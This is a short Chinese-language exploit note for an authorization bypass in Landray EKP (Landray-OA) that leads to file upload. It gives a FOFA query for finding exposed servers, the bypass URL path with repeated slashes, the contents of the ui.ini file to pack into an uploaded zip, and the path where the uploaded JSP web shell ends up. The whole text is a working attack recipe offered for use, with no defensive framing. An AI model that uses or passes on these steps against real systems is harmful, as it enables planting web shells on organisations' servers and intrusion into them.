蓝凌EKP前台授权绕过导致文件上传
fofa
app="Landray-OA系统"访问路径/api///sys/ui/sys_ui_extend/sysUiExtend.do?method=upload其中路径需要api后面需要///不能变。
poc
/api///sys/ui/sys_ui_extend/sysUiExtend.do?method=upload
文件上传
然后上传zip包需要有ui.ini文件内容如下
id=ZzzZname=testthumb=test
马会在/resource/ui-ext/ZzzZ/jmdyy.jsp